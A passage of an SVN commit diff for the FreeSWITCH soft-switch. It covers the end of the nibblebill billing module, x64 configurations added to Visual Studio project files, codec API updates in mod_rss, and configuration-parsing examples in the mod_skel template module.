+	if (!channel) {
+		return;
+	}
+
+	/* Variables kept in FS but relevant only to this module */
+	
+	billaccount = switch_channel_get_variable(channel, "nibble_account");
+
+	/* Return if there's no billing information on this session */
+	if (!billaccount) {
+		return;
+	}
+
+	/* Add or remove amount from adjusted billing here. Note, we bill the OPPOSITE */
+	if (bill_event(-amount, billaccount) == SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Recorded adjustment to %s for $%f\n", billaccount, amount);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to record adjustment to %s for $%f\n", billaccount, amount);
+	}
+}
+
+#define APP_SYNTAX "pause | resume | reset | adjust <amount> | heartbeat <seconds> | check"
+SWITCH_STANDARD_APP(nibblebill_app_function)
+{
+	int argc = 0;
+	char *lbuf = NULL;
+	char *argv[3] = { 0 };
+
+	if (!switch_strlen_zero(data) && (lbuf = strdup(data))
+		&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (!strcasecmp(argv[0], "adjust") && argc == 2) {
+			nibblebill_adjust(session, (float)atof(argv[1]));
+		} else if (!strcasecmp(argv[0], "flush")) {
+			do_billing(session);
+		} else if (!strcasecmp(argv[0], "pause")) {
+			nibblebill_pause(session);
+		} else if (!strcasecmp(argv[0], "resume")) {
+			nibblebill_resume(session);
+		} else if (!strcasecmp(argv[0], "check")) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Current billing is at $%f\n", nibblebill_check(session));
+		} else if (!strcasecmp(argv[0], "reset")) {
+			nibblebill_reset(session);
+		} else if (!strcasecmp(argv[0], "heartbeat") && argc == 2) {
+			switch_core_session_enable_heartbeat(session, atoi(argv[1]));
+		}
+	}
+	switch_safe_free(lbuf);
+}
+
+/* We get here from the API only (theoretically) */
+#define API_SYNTAX "<uuid> [pause | resume | reset | adjust <amount> | heartbeat <seconds> | check]"
+SWITCH_STANDARD_API(nibblebill_api_function)
+{
+	switch_core_session_t *psession = NULL;
+	char *mycmd = NULL, *argv[3] = { 0 };
+	int argc = 0;
+
+	if (!switch_strlen_zero(cmd) && (mycmd = strdup(cmd))) {
+		argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+		if ((argc == 2 || argc == 3) && !switch_strlen_zero(argv[0])) {
+			char *uuid = argv[0];
+			if ((psession = switch_core_session_locate(uuid))) {
+				switch_channel_t *channel;
+				channel = switch_core_session_get_channel(psession);
+
+				if (!strcasecmp(argv[1], "adjust") && argc == 3) {
+					nibblebill_adjust(psession, (float)atof(argv[2]));
+				} else if (!strcasecmp(argv[1], "flush")) {
+					do_billing(psession);
+				} else if (!strcasecmp(argv[1], "pause")) {
+					nibblebill_pause(psession);
+				} else if (!strcasecmp(argv[1], "resume")) {
+					nibblebill_resume(psession);
+				} else if (!strcasecmp(argv[1], "check")) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Current billing is at $%f\n", nibblebill_check(psession));
+				} else if (!strcasecmp(argv[1], "reset")) {
+					nibblebill_reset(psession);
+				} else if (!strcasecmp(argv[1], "heartbeat") && argc == 3) {
+					switch_core_session_enable_heartbeat(psession, atoi(argv[2]));
+				}
+
+				switch_core_session_rwunlock(psession);
+			} else {
+				stream->write_function(stream, "-ERR No Such Channel!\n");
+			}
+		} else {
+			stream->write_function(stream, "-USAGE: %s\n", API_SYNTAX);
+		}
+	}
+	switch_safe_free(mycmd);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* Check if session has variable "billrate" set. If it does, activate the heartbeat variable
+ switch_core_session_enable_heartbeat(switch_core_session_t *session, uint32_t seconds)
+ switch_core_session_sched_heartbeat(switch_core_session_t *session, uint32_t seconds)*/
+
+static switch_status_t sched_billing(switch_core_session_t *session)
+{
+	if (globals.global_heartbeat > 0) {
+		switch_core_session_enable_heartbeat(session, globals.global_heartbeat);
+	}
+
+	/* TODO: Check account balance here */
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t process_hangup(switch_core_session_t *session)
+{
+	/* Resume any paused billings, just in case */
+	//	nibblebill_resume(session);
+
+	/* Now go handle like normal billing */
+	do_billing(session);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+switch_state_handler_table_t nibble_state_handler =
+{
+	/* on_init */   	NULL,
+	/* on_routing */   	process_hangup,	/* Need to add a check here for anything in their account before routing */
+	/* on_execute */   	sched_billing,  /* Turn on heartbeat for this session and do an initial account check */
+	/* on_hangup */   	process_hangup, /* On hangup - most important place to go bill */
+	/* on_exch_media */   	sched_billing,
+	/* on_soft_exec */   	NULL,
+	/* on_consume_med */   	NULL,
+	/* on_hibernate */   	NULL,
+	/* on_reset */   	NULL
+};
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
+{
+	switch_api_interface_t *api_interface;
+	switch_application_interface_t *app_interface;
+
+	/* Set every byte in this structure to 0 */	
+	memset(&globals, 0, sizeof(globals));
+	globals.pool = pool;
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
+
+	load_config();
+	
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	/* Add API and CLI commands */
+	SWITCH_ADD_API(api_interface, "nibblebill", "Manage billing parameters for a channel/call", nibblebill_api_function, API_SYNTAX);
+
+	/* Add dialplan applications */
+	SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call", "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX, SAF_NONE);
+
+	/* register state handlers for billing */
+	switch_core_add_state_handler(&nibble_state_handler);
+
+	/* bind to heartbeat events */
+	if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event to monitor for session heartbeats!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
+{	
+	switch_event_unbind(&globals.node);
+	switch_core_remove_state_handler(&nibble_state_handler);
+	switch_odbc_handle_disconnect(globals.master_odbc);
+
+	return SWITCH_STATUS_UNLOAD;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Property changes: freeswitch/branches/seven/src/mod/applications/mod_rss


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_rss/mod_rss.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_rss/mod_rss.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_rss/mod_rss.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -139,6 +207,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_rss/mod_rss.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_rss/mod_rss.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_rss/mod_rss.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
  *
  *
@@ -163,7 +163,7 @@
 	struct rss_entry entries[TTS_MAX_ENTRIES] = { {0} };
 	uint32_t i = 0;
 	char *title_txt = "", *description_txt = "", *rights_txt = "";
-	switch_codec_t speech_codec, *codec = switch_core_session_get_read_codec(session);
+	switch_codec_t speech_codec;
 	char *engine = TTS_DEFAULT_ENGINE;
 	char *voice = TTS_DEFAULT_VOICE;
 	char *timer_name = NULL;
@@ -184,8 +184,10 @@
 	switch_input_args_t args = { 0 };
 	const char *vcf = NULL;
 	char *chanvars = switch_channel_build_param_string(channel, NULL, NULL);
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
-	uint32_t rate, interval = read_codec->implementation->microseconds_per_packet / 1000;
+	switch_codec_implementation_t read_impl = {0};
+	uint32_t rate, interval;
+    switch_core_session_get_read_impl(session, &read_impl);
+	interval = read_impl.microseconds_per_packet / 1000;
 
 	if ((vcf = switch_channel_get_variable(channel, "rss_alt_config"))) {
 		cf = vcf;
@@ -253,8 +255,8 @@
 		return;
 	}
 
-	if (codec) {
-		rate = codec->implementation->actual_samples_per_second;
+	if (switch_channel_media_ready(channel)) {
+		rate = read_impl.actual_samples_per_second;
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Codec Error!\n");
 		return;
@@ -478,7 +480,7 @@
 			switch_size_t retsize;
 			char dtmf[5] = "";
 
-			switch_time_exp_lt(&tm, switch_timestamp_now());
+			switch_time_exp_lt(&tm, switch_micro_time_now());
 			switch_strftime_nocheck(date, &retsize, sizeof(date), "%I:%M %p", &tm);
 
 

Copied: freeswitch/branches/seven/src/mod/applications/mod_skel/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_skel/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_skel/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_skel/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+BASE=../../../..
+include $(BASE)/build/modmake.rules
\ No newline at end of file

Copied: freeswitch/branches/seven/src/mod/applications/mod_skel/mod_skel.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_skel/mod_skel.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_skel/mod_skel.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,287 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_skel"
+	ProjectGUID="{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}"
+	RootNamespace="mod_skel"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_skel.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/src/mod/applications/mod_skel/mod_skel.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_skel/mod_skel.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_skel/mod_skel.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Neal Horman <neal at wanlink dot com>
  *
  *
@@ -32,18 +32,99 @@
  */
 #include <switch.h>
 
-//SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skel_shutdown);
-//SWITCH_MODULE_RUNTIME_FUNCTION(mod_skel_runtime);
-
+/* Prototypes */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skel_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_skel_runtime);
 SWITCH_MODULE_LOAD_FUNCTION(mod_skel_load);
-SWITCH_MODULE_DEFINITION(mod_skel, mod_skel_load, NULL, NULL);
 
+/* SWITCH_MODULE_DEFINITION(name, load, shutdown, runtime) 
+ * Defines a switch_loadable_module_function_table_t and a static const char[] modname
+ */
+SWITCH_MODULE_DEFINITION(mod_skel, mod_skel_load, mod_skel_shutdown, NULL);
+
+typedef enum {
+	CODEC_NEGOTIATION_GREEDY = 1,
+	CODEC_NEGOTIATION_GENEROUS = 2,
+	CODEC_NEGOTIATION_EVIL = 3
+} codec_negotiation_t;
+
+static struct {
+	char *codec_negotiation_str;
+	codec_negotiation_t codec_negotiation;
+	switch_bool_t sip_trace;
+	int integer;
+} globals;
+
+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed) 
+{
+	switch_bool_t value = *(switch_bool_t*)data->ptr;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
+		value ? "true" : "false", changed ? "true" : "false");
+	
+	
+	/*
+	if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
+		nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
+	} 
+	*/
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
+/* enforce_min, min, enforce_max, max */
+static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = { 
+	{ "greedy", CODEC_NEGOTIATION_GREEDY },
+	{ "generous", CODEC_NEGOTIATION_GENEROUS },
+	{ "evil", CODEC_NEGOTIATION_EVIL },
+	{ NULL, 0 } 
+};
+
+static switch_xml_config_item_t instructions[] = {
+	/* parameter name        type                 reloadable   pointer                         default value     options structure */
+	SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
+		"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+	SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation,  (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
+		"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
+	SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace,  (void*)SWITCH_FALSE,  config_callback_siptrace, NULL ,
+		"yes|no", "If enabled, print out sip messages on the console."),
+	SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
+		NULL, NULL),
+	SWITCH_CONFIG_ITEM_END()
+};
+
+static switch_status_t do_config(switch_bool_t reload)
+{
+	memset(&globals, 0, sizeof(globals));
+
+	if (switch_xml_config_parse_module_settings("skel.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open skel.conf\n");
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_STANDARD_API(skel_function)
+{
+	do_config(SWITCH_TRUE);
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* Macro expands to: switch_status_t mod_skel_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool) */
 SWITCH_MODULE_LOAD_FUNCTION(mod_skel_load)
 {
+	switch_api_interface_t *api_interface;
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
+	
+	do_config(SWITCH_FALSE);
+	
+	SWITCH_ADD_API(api_interface, "skel", "Skel API", skel_function, "syntax");
 
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_SUCCESS;
@@ -51,15 +132,19 @@
 
 /*
   Called when the system shuts down
+  Macro expands to: switch_status_t mod_skel_shutdown() */
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skel_shutdown)
 {
+	/* Cleanup dynamically allocated config settings */
+	switch_xml_config_cleanup(instructions);
 	return SWITCH_STATUS_SUCCESS;
 }
-*/
 
+
 /*
   If it exists, this is called in it's own thread when the module-load completes
   If it returns anything but SWITCH_STATUS_TERM it will be called again automatically
+  Macro expands to: switch_status_t mod_skel_runtime()
 SWITCH_MODULE_RUNTIME_FUNCTION(mod_skel_runtime)
 {
 	while(looping)
@@ -78,5 +163,5 @@
  * c-basic-offset:4
  * End:
  * For VIM:
- * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
  */

Property changes: freeswitch/branches/seven/src/mod/applications/mod_snom


Name: svn:ignore
   - Debug
*.pdb
*.user
Release
.libs
*.so
   + Debug
*.pdb
*.user
Release
.libs
*.so
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_snom/mod_snom.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_snom/mod_snom.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_snom/mod_snom.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
